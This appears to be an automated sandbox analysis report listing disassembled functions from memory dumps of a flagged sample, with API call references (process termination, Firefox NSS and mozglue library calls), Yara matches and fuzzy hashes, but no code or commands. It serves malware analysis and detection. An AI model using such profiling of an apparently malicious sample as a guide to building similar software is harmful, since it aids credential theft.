Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 20b16cedb20524f5f0a3349ec898ee221183c09168d7a9fc23103f14ac9f8c1a
Instruction ID: 6e212494759c8e3b152de70cf12e9653d7fde48daaab02ad2b76da051d612c4f
Opcode Fuzzy Hash: 20b16cedb20524f5f0a3349ec898ee221183c09168d7a9fc23103f14ac9f8c1a
Instruction Fuzzy Hash: 1B914A729102049BCB14FBA1DC51EEE7739BF14304F51425EF51676491EF38AA89CBB8

Uniqueness

Uniqueness Score: -1.00%

Function 6CCC5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CCC5D40
EnterCriticalSection.KERNEL32(6CD2F688), ref: 6CCC5D67
__aulldiv.LIBCMT ref: 6CCC5DB4
LeaveCriticalSection.KERNEL32(6CD2F688), ref: 6CCC5DED

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 44d9afccffa8730703f01d5fe0df9fa507bffe04453aea9533c14b02782f3ace
Instruction ID: 0935be52e6b88a17abd22fce89b33953654365ff86cd1afd9ecfc1f2c5726524
Opcode Fuzzy Hash: 44d9afccffa8730703f01d5fe0df9fa507bffe04453aea9533c14b02782f3ace
Instruction Fuzzy Hash: D151B171F002298FDF08CFA8C944ABEBBB6FB89304F194A5DCA11A7B50D7356945CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CCACDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCACEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CCACEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CCACF4E

Strings

0, xrefs: 6CCACF30

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 747c8352c32b574fafd3e17ad99df9488d93e677e6a15aca779859f89a3132a1
Instruction ID: fa1e9905e9c9d42ce82a1a77dc5b207672df375a981e7467c1f5b296d68c1032
Opcode Fuzzy Hash: 747c8352c32b574fafd3e17ad99df9488d93e677e6a15aca779859f89a3132a1
Instruction Fuzzy Hash: 9E510375A042568FCB00CF18C890AAABBB5FF99300F19859DD8595F752E732ED06CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 00411350 Relevance: 6.1, APIs: 4, Instructions: 100stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00411378

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

strtok_s.MSVCRT ref: 0041146F

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,042C3828,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: lstrcpystrtok_s$lstrlen
String ID:
API String ID: 3184129880-0
Opcode ID: 773fdb304f9d804e73498a05dead36b115f25edbb0eb5aae20829a328c0bfb2e
Instruction ID: bc44fb65e395c18893d79e2daadfc8d7f4384440e0cba23ba4018ddaa6f79c9f
Opcode Fuzzy Hash: 773fdb304f9d804e73498a05dead36b115f25edbb0eb5aae20829a328c0bfb2e
Instruction Fuzzy Hash: 04417175D00208DBCB04EFE5D855AEEBB75BF48304F00811EE51177290EB38AA85CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 6CCE6470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CCE82BC,?,?), ref: 6CCE649B

Part of subcall function 6CCBCA10: malloc.MOZGLUE(?), ref: 6CCBCA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCE64A9

Part of subcall function 6CCDFA80: GetCurrentThreadId.KERNEL32 ref: 6CCDFA8D
Part of subcall function 6CCDFA80: AcquireSRWLockExclusive.KERNEL32(6CD2F448), ref: 6CCDFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCE653F
free.MOZGLUE(?), ref: 6CCE655A

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 344bfb582e90e4aadabc1b01c17970c7a8cf1573792848624e5c00ce2d09cd14
Instruction ID: 705cf91687d11f7a237ab82b20d76f6dbdfb8a06a4fb7614a913f675091f1517
Opcode Fuzzy Hash: 344bfb582e90e4aadabc1b01c17970c7a8cf1573792848624e5c00ce2d09cd14
Instruction Fuzzy Hash: A6316FB5A047459FD700CF24D884A9ABBE4BF89314F00842EE95A97741EB34E919CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00415BD0 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00415BEB

Part of subcall function 00415450: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00415C1E,00000000), ref: 0041545B
Part of subcall function 00415450: HeapAlloc.KERNEL32(00000000,?,?,00415C1E,00000000), ref: 00415462
Part of subcall function 00415450: wsprintfW.USER32 ref: 00415478

OpenProcess.KERNEL32(00001001,00000000,?), ref: 00415CAB
TerminateProcess.KERNEL32(00000000,00000000), ref: 00415CC9
CloseHandle.KERNEL32(00000000), ref: 00415CD6

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 396451647-0
Opcode ID: 77b0b68463d6fef5e6b200bc3673d24200d9c40290899e4313afa8eaf82be581
Instruction ID: 9bd26bda15b00488fb04890a05ea267a73874a1d1a12279ce6d54c29d70e7cb6
Opcode Fuzzy Hash: 77b0b68463d6fef5e6b200bc3673d24200d9c40290899e4313afa8eaf82be581
Instruction Fuzzy Hash: B7311E71A00708DFDB24DFD0CD49BEDB775BB88304F204459E506AA284EB78AA85CF95

Uniqueness

Uniqueness Score: -1.00%

Function 6CCBB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CCBB4F5
AcquireSRWLockExclusive.KERNEL32(6CD2F4B8), ref: 6CCBB502
ReleaseSRWLockExclusive.KERNEL32(6CD2F4B8), ref: 6CCBB542
free.MOZGLUE(?), ref: 6CCBB578

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: fba010d3cc53c67e5056d08c2dfcb06b0ac80fe768b12858241ed24f9f33c7b2
Instruction ID: fe1b659dff5eafe37ff4cfb3166d05e49d816e6c84bac91b47511527ccc5b131
Opcode Fuzzy Hash: fba010d3cc53c67e5056d08c2dfcb06b0ac80fe768b12858241ed24f9f33c7b2
Instruction Fuzzy Hash: EE110630E04B45C7E3118F69C9407A2B3B4FF96319F10570EDA4A63A01FBB9B1C98791

Uniqueness

Uniqueness Score: -1.00%

Function 6CCE3DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CCAF20E,?), ref: 6CCE3DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CCAF20E,00000000,?), ref: 6CCE3DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CCE3E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CCE3E0E

Part of subcall function 6CCDCC00: GetCurrentProcess.KERNEL32(?,?,6CCA31A7), ref: 6CCDCC0D
Part of subcall function 6CCDCC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CCA31A7), ref: 6CCDCC16

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 72aef9ae02c3621408b6602a8212ddefa4da83cd9fb87efa86f8db2698f9b4a7
Instruction ID: 1c28ef889789803cf41b825019598af7e869dce28d3eafc8ea5453cd8090df59
Opcode Fuzzy Hash: 72aef9ae02c3621408b6602a8212ddefa4da83cd9fb87efa86f8db2698f9b4a7
Instruction Fuzzy Hash: 53F012B19002087BE700AB54EC41DBB776DEB86624F050020FF0957741E679BD1596F7

Uniqueness

Uniqueness Score: -1.00%

Function 00414ED0 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00414F1C
HeapAlloc.KERNEL32(00000000), ref: 00414F23
wsprintfA.USER32 ref: 00414F3D

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Strings

%dx%d, xrefs: 00414F34

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 2716131235-2206825331
Opcode ID: f08cde69876725b708423540da4c5a3f365b361f564d4ee0880696cb78a15392
Instruction ID: 6eb13fdbeba78ce7d97bae5a893604665d2c333b41188d65ffcc19bab192dd48
Opcode Fuzzy Hash: f08cde69876725b708423540da4c5a3f365b361f564d4ee0880696cb78a15392
Instruction Fuzzy Hash: 5C112DB1A40708AFDB10DFE4DD49FBE77B9FB48701F104548FA09AB280CA719901CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00416F20 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 47stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 00416F72
lstrcat.KERNEL32(00000000), ref: 00416F82

Strings

6F@, xrefs: 00416F29
6F@, xrefs: 00416F37

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: lstrcatlstrcpy
String ID: 6F@$6F@
API String ID: 3905823039-140834422
Opcode ID: b5f8bb415bf48ce7be5bc642ec728c9009fc5aef9801c6ea708fecfa6406f1e0
Instruction ID: 671097608d67a6365fb22a17cf1e01146cf6df4f1a405ab7b22d056337cae9f2
Opcode Fuzzy Hash: b5f8bb415bf48ce7be5bc642ec728c9009fc5aef9801c6ea708fecfa6406f1e0
Instruction Fuzzy Hash: F411D674A00208ABCB04DF94E884AEEB375BF44304F518599E829AB391C734AA85CB94

Uniqueness

Uniqueness Score: -1.00%

Function 6CCF85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CCF85D3

Part of subcall function 6CCBCA10: malloc.MOZGLUE(?), ref: 6CCBCA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CCF8725

Strings

map/set<T> too long, xrefs: 6CCF8720

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 00225242f142925ab9a8d3949f4463db2b402c04b8403f4685a59058f7dab49d
Instruction ID: 6dc6adf45647a69783a1a7aab7c5573e1755f2a1e06f9f05646d08c779eb4793
Opcode Fuzzy Hash: 00225242f142925ab9a8d3949f4463db2b402c04b8403f4685a59058f7dab49d
Instruction Fuzzy Hash: B05156746046418FD741CF1AC084B59BBF1BF4A318F28C19AD8695BB52D335F886CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6CCABD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CCABDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CCABE8F

Strings

0, xrefs: 6CCABE5B

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: d96853f0a5e39303fac269356be1202a148d151117929aef93e2ab7fed7b13ca
Instruction ID: 5af2f67c51813efc8b508c00f3b4c31cfa25f7d70b53f9beff31702d7f289d51
Opcode Fuzzy Hash: d96853f0a5e39303fac269356be1202a148d151117929aef93e2ab7fed7b13ca
Instruction Fuzzy Hash: B641C37190974ACFC301CFB9C495A9BB7F4BF8A348F008A5DF98557611E730D94A8B82

Uniqueness

Uniqueness Score: -1.00%

Function 00415260 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

GetSystemTime.KERNEL32(?,042C7660,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

Strings

#F@, xrefs: 004152B1, 004152E1, 004152E4
#F@, xrefs: 0041526C, 004152E5, 004152F0, 00415304, 004152D3, 004152F3

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: SystemTimelstrcpy
String ID: #F@$#F@
API String ID: 62757014-661595268
Opcode ID: 9c4578540c9875f99c455bf3a30fbf78bf8634aa42411cf7279c1c4ce97c61ea
Instruction ID: 513f033f75459e748f43dcf9dcce4e772375218857ee2e068f26327ba23d5006
Opcode Fuzzy Hash: 9c4578540c9875f99c455bf3a30fbf78bf8634aa42411cf7279c1c4ce97c61ea
Instruction Fuzzy Hash: 8511D636D00108DFCB04EFA9D891AEE7B75EF98304F54C05EE41567251DF38AA85CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 6CCE3CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CCE3D19
mozalloc_abort.MOZGLUE(?), ref: 6CCE3D6C

Strings

d, xrefs: 6CCE3D58

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 0ebd8a73ceeaf174f1820c4b88710be61ac02976727e23b6e6be0ba1087de902
Instruction ID: b43db3fa8d22efeb089c8f7e23cb7f075c0630eb9313c4b639b438d5f59a93e5
Opcode Fuzzy Hash: 0ebd8a73ceeaf174f1820c4b88710be61ac02976727e23b6e6be0ba1087de902
Instruction Fuzzy Hash: AC115731E14788D7EB018B69C8144EEB379EF9B318B498258DE449BA12FB30B684C390

Uniqueness

Uniqueness Score: -1.00%

Function 6CE54CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8l,00000000,00000000,?,?,6CE53827,?,00000000), ref: 6CE54D0A

Part of subcall function 6CE40840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CE408B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6CE54D22

Part of subcall function 6CE3FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6CDE1A3E,00000048,00000054), ref: 6CE3FD56

Strings

'8l, xrefs: 6CE54D07

Memory Dump Source

Source File: 00000000.00000002.2416036924.000000006CD61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD60000, based on PE: true

Associated: 00000000.00000002.2416019055.000000006CD60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2416177741.000000006CEFF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2416214710.000000006CF3E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2416231818.000000006CF3F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2416249980.000000006CF40000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2416270467.000000006CF45000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd60000_4JgB4mYxvJ.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8l
API String ID: 1521942269-1867215535
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: aace31798996cef07767655ce324b11024f9310d2bcef96565bddec2994c57ee
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: 40F0623260122867EB104D6AAC80B4336FC9B4567DF750272ED28CB791E6B6DC31C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 6CD06DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CD06E22
__Init_thread_footer.LIBCMT ref: 6CD06E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CD06E1D

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 79ea92af4bdaa8b74aad12403d26b132e4511e307cbd95fa6820db7810ddcf58
Instruction ID: b7e9250045d1115155793a749cf41daf654e9f7ac965b0ddc71c98eea1cdc8bb
Opcode Fuzzy Hash: 79ea92af4bdaa8b74aad12403d26b132e4511e307cbd95fa6820db7810ddcf58
Instruction Fuzzy Hash: 03F0F030305380CAFB008B6CCA50E897775D742A1AF044965CB4046F71D639F98BCB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CCBBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6CCBBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6CCBBEF5

Strings

cryptbase.dll, xrefs: 6CCBBEF0

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 824237ac230e2406eefdde6e375d10fa2c4d836deda0df92e2227fd9d41eece6
Instruction ID: 563242dcb2c1e8e9ec445e846e62d210461e75fb7480fb0953f9e2bf896f0880
Opcode Fuzzy Hash: 824237ac230e2406eefdde6e375d10fa2c4d836deda0df92e2227fd9d41eece6
Instruction Fuzzy Hash: 73D0C731184148FBE7406B918D15B153778A701715F10C021F756549A1D7F5E454CF54

Uniqueness

Uniqueness Score: -1.00%

Function 6CCFB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CCFB2C9,?,?,?,6CCFB127,?,?,?,?,?,?,?,?,?,6CCFAE52), ref: 6CCFB628

Part of subcall function 6CCF90E0: free.MOZGLUE(?,00000000,?,?,6CCFDEDB), ref: 6CCF90FF
Part of subcall function 6CCF90E0: free.MOZGLUE(?,00000000,?,?,6CCFDEDB), ref: 6CCF9108

